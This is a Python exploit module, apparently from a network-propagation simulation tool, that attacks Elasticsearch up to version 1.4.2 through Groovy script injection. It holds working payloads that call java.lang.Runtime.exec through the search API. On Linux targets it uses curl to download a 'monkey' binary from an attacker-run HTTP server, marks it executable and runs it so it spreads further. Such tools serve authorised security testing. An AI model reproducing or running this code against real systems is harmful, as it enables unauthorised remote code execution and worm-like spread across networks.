"""
    Implementation is based on elastic search groovy exploit by metasploit
    https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
    Max vulnerable elasticsearch version is "1.4.2"
"""

import json
import logging

import requests

from exploit import HostExploiter
from model import MONKEY_ARG
from model.host import VictimHost
from network.elasticfinger import ES_SERVICE, ES_PORT
from tools import get_target_monkey, HTTPTools, build_monkey_commandline

__author__ = 'danielg'

LOG = logging.getLogger(__name__)


class ElasticGroovyExploiter(HostExploiter):
    _target_os_type = ['linux', 'windows']

    # attack URLs
    BASE_URL = 'http://%s:%s/_search?pretty'
    MONKEY_RESULT_FIELD = "monkey_result"
    GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
    JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
    JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
    JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
    JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
    JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'

    DOWNLOAD_TIMEOUT = 300  # copied from rdpgrinder

    def __init__(self):
        self._config = __import__('config').WormConfiguration
        self.skip_exist = self._config.skip_exploit_if_file_exist

    def is_os_supported(self, host):
        """
        Checks if the host is vulnerable.
        Either using version string or by trying to attack
        :param host: VictimHost
        :return:
        """
        if host.os.get('type') not in self._target_os_type:
            return False

        if ES_SERVICE not in host.services:
            LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
            return False
        major, minor, build = host.services[ES_SERVICE]['version'].split('.')
        if major > 1:
            return False
        if major == 1 and minor > 4:
            return False
        if major == 1 and minor == 4 and build > 2:
            return False
        return self.is_vulnerable(host)

    def exploit_host(self, host, depth=-1, src_path=None):
        assert isinstance(host, VictimHost)

        real_host_os = self.get_host_os(host)
        host.os['type'] = str(real_host_os.lower())  # strip unicode characters
        if 'linux' in host.os['type']:
            return self.exploit_host_linux(host, depth, src_path)
        else:
            return self.exploit_host_windows(host, depth, src_path)

    def exploit_host_windows(self, host, depth=-1, src_path=None):
        """
        TODO
        Will exploit windows similar to smbexec
        :return:
        """
        return False

    def exploit_host_linux(self, host, depth=-1, src_path=None):
        """
        Exploits linux using similar flow to sshexec and shellshock.
        Meaning run remote commands to copy files over HTTP
        :return:
        """
        uname_machine = str(self.get_linux_arch(host))
        if len(uname_machine) != 0:
            host.os['machine'] = str(uname_machine.lower().strip())  # strip unicode characters
        dropper_target_path_linux = self._config.dropper_target_path_linux
        if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)):
            LOG.info("Host %s was already infected under the current configuration, done" % host)
            return True  # return already infected
        src_path = src_path or get_target_monkey(host)
        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", host)
            return False

        if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux):
            return False

        self.set_file_executable_linux(host, dropper_target_path_linux)
        cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
        cmdline += build_monkey_commandline(host, depth - 1) + ' & '
        self.run_shell_command(host, cmdline)
        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                 self._config.dropper_target_path_linux, host, cmdline)
        if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
            LOG.info("Log file does not exist, monkey might not have run")
        return True

    def download_file_in_linux(self, host, src_path, target_path):
        """
        Downloads a file in target machine using curl to the given target path
        :param host:
        :param src_path: File path relative to the monkey
        :param target_path:  Target path in linux victim
        :return: T/F
        """
        http_path, http_thread = HTTPTools.create_transfer(host, src_path)
        if not http_path:
            LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
            return False
        download_command = '/usr/bin/curl %s -o %s' % (
            http_path, target_path)
        self.run_shell_command(host, download_command)
        http_thread.join(self.DOWNLOAD_TIMEOUT)
        http_thread.stop()
        if (http_thread.downloads != 1) or (
                    'ELF' not in
                    self.check_if_remote_file_exists_linux(host, target_path)):
            LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
            return False
        return True

    def set_file_executable_linux(self, host, file_path):
        """
        Marks the given file as executable using chmod
        :return:  Nothing
        """
        chmod = '/bin/chmod +x %s' % file_path
        self.run_shell_command(host, chmod)
        LOG.info("Marked file %s on host %s as executable", file_path, host)

    def check_if_remote_file_exists_linux(self, host, file_path):
        """
        :return:
        """
        cmdline = '/usr/bin/head -c 4 %s' % file_path
        return self.run_shell_command(host, cmdline)

    def run_shell_command(self, host, command):
        """
        Runs a single shell command and returns the result.
        :return:
        """
        payload = self.JAVA_CMD % command
        result = self.get_command_result(host, payload)
        LOG.info("Ran the command %s on host %s", command, payload)
        return result

    def get_linux_arch(self, host):
        """
        Returns host as per uname -m
        :return:
        """
        return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)

    def get_host_tempdir(self, host):
        """
        Returns where to write our file given our permissions
        :return: Temp directory path in target host
        """
        return self.get_command_result(host, self.JAVA_GET_TMP_DIR)

    def get_host_os(self, host):
        """
        :return: target OS
        """
        return self.get_command_result(host, self.JAVA_GET_OS)

    def is_vulnerable(self, host):
        """
        Checks if a given elasticsearch host is vulnerable to the groovy attack
        :param host: Host, with an open 9200 port
        :return: True/False
        """
        result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE)
        return 'java.lang.Runtime' in result_text

    def get_command_result(self, host, payload):
        """
        Gets the result of an attack payload with a single return value.
        :param host: VictimHost configuration
        :param payload: Payload that fits the GENERIC_QUERY template.
        :return:
        """
        result = self.attack_query(host, payload)
        if not result:  # not vulnerable
            return False
        if 1 != len(result):  # weird
            return None
        return result[0]

    def attack_query(self, host, payload):
        """
        Wraps the requests query and the JSON parsing.
        Just reduce opportunity for bugs
        :return: List of data fields or None
        """
        response = requests.get(self.attack_url(host), data=payload)
        result = self.get_results(response)
        return result

    def attack_url(self, host):
        """
        Composes the URL to attack per host IP and port.
        :return: Elasticsearch vulnerable URL
        """
        return self.BASE_URL % (host.ip_addr, ES_PORT)

    def get_results(self, response):
        """
        Extracts the result data from our attack
        :return: List of data fields or None
        """
        try:
            json_resp = json.loads(response.text)
            return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
        except KeyError:
            return None